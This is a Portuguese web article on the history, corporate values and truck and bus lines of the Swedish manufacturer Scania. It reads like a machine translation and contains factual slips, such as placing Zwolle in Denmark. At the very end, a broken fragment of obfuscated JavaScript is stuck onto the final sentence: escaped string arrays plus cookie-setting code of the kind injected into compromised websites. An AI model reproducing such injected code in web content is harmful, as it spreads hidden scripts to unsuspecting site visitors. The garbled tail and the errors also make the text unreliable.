Caminhões Scania

Caminhões Scania

A Scania AB é provavelmente o mais proeminente designer sueco de veículos comerciais pesados. Atualmente, a empresa opera em todo o mundo, emprega aproximadamente 42.000 pessoas e possui concessionárias em mais de 100 países. No entanto, a popularidade da marca credita qualidade e durabilidade, inerente a cada automóvel.

Filosofia corporativa

Os principais valores da Scania estão focados nas necessidades dos clientes, e não na lucratividade pessoal. Não é de admirar que a equipe tenha escolhido “Cliente em primeiro lugar” como seu slogan principal. Para atingir todos os objetivos principais, a empresa contribui para os baixos custos operacionais de acordo com todas as áreas de negócios automotivos.

Além disso, a Scania demonstra um forte compromisso com as questões ambientais. Sob esse prisma, visa desenvolver soluções que atendam totalmente aos padrões modernos de sustentabilidade. Naturalmente, essa fabricante de caminhões se dedica a fornecer aos clientes soluções premium que mantêm recursos de alta qualidade e durabilidade durante todo o ciclo de vida.

Era Scania-Vabis

A Scania foi fundada em 1891 em uma província sueca de Skane. Bicicletas foram as primeiras invenções produzidas pela empresa. No mesmo ano, a siderúrgica Surahammars Bruk estabeleceu uma subsidiária chamada Vabis, com a intenção de fabricar caminhões comerciais. Em 1911, os dois desenvolvedores decidiram fundir-se na entidade Scania-Vabis, seguindo questões fiscais persistentes na Vabis.

Em 1913, a joint venture abriu uma subsidiária na Dinamarca com uma fábrica em Copenhague. É um lugar onde o primeiro veículo de passageiros de quatro lugares Phaeton e o primeiro caminhão de motor V8 foram lançados. Durante a Primeira Guerra Mundial, o fabricante estava envolvido na fabricação de unidades de classe militar para o exército sueco. No período pós-guerra, foi totalmente reorientado no projeto de caminhões, negligenciando os ônibus. Um capital considerável fornecido pelo Stockholms Enskilda Bank em 1921 contribuiu para o desenvolvimento tecnológico da empresa.

Durante a Segunda Guerra Mundial, a Scania-Vabis fabricou veículos militares, bem como tanques leves, chamados Stridsvagn m / 41. Na década de 1950, a equipe introduziu o caminhão Regent para competir com a Volvo e iniciou a expansão de sua rede de concessionárias. Essa foi uma hora de triunfo para a fabricante, já que sua participação no mercado interno subiu para 50% no segmento de caminhões leves e médios.

Na década de 1960, a marca expandiu suas instalações no exterior. O Brasil se tornou um local chave para a produção de caminhões pesados ​​e para a comercialização de ônibus interurbanos (via operações da Scania Vabis do Brasil S.A.).

Para continuar, a criação da Comunidade Econômica Européia facilitou a entrada da Scania nos mercados europeus. Por isso, construiu uma nova instalação em Zwolle, na Dinamarca, e adquiriu a propriedade da Be-Ge Karosserifabrik. Este último foi um excelente fabricante de cabines de caminhões, que foram embarcadas para os veículos Scania-Vabis e Volvo. Além disso, a equipe comprou a empresa de carroçaria Svenska Karosseri Verkstaderna e fundou outra subsidiária – a Scania-Bussar.

Posse adicional

Em 1969, a empresa iniciou uma fusão com a Saab AB, criando a Saab-Scania AB. A joint venture existia até 1995. Alguns anos depois, a Volvo decidiu comprar a marca. No entanto, o acordo não foi finalizado devido à proibição de voto da União Europeia. De acordo com os regulamentos da UE, essa aquisição poderia criar uma montadora com quase 100% de participação de mercado nos mercados nórdicos.

Em 2006, a MAN AG, produtora alemã de caminhões, estava prestes a adquirir a Scania AB. No entanto, conseguiu comprar apenas 17% da empresa. Atualmente, a parte de leão da Scania (70,94%) pertence à Volkswagen AG.

Caminhões Scania

Juntamente com caminhões de peso pesado (Classe 8, mais de 16 toneladas de peso), a Scania é especializada no projeto de ônibus turísticos, ônibus urbanos e intermunicipais, motores de múltiplos propósitos, equipamentos marítimos e serviços financeiros.

O inventário de caminhões consiste em unidades de longa distância, distribuição, construção e unidades especiais. Todos eles pertencem a uma ou várias linhas existentes: a série P apresenta uma nova cabine P (três variações disponíveis: uma cabina diurna espaçosa, um táxi curto e uma poltrona de um só leito), série R ostentando dois prestigiosos prêmios ‘International Truck do ano ‘, G-series com cabine G (cinco variações disponíveis: uma cabine curta, uma cabine de um dia, 3x dormentes), série T.

No que diz respeito à produção de ônibus, a Scania oferece seis linhas de ônibus: série N, série K, série CN, série CK, série LK e Citywide LE / LF.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]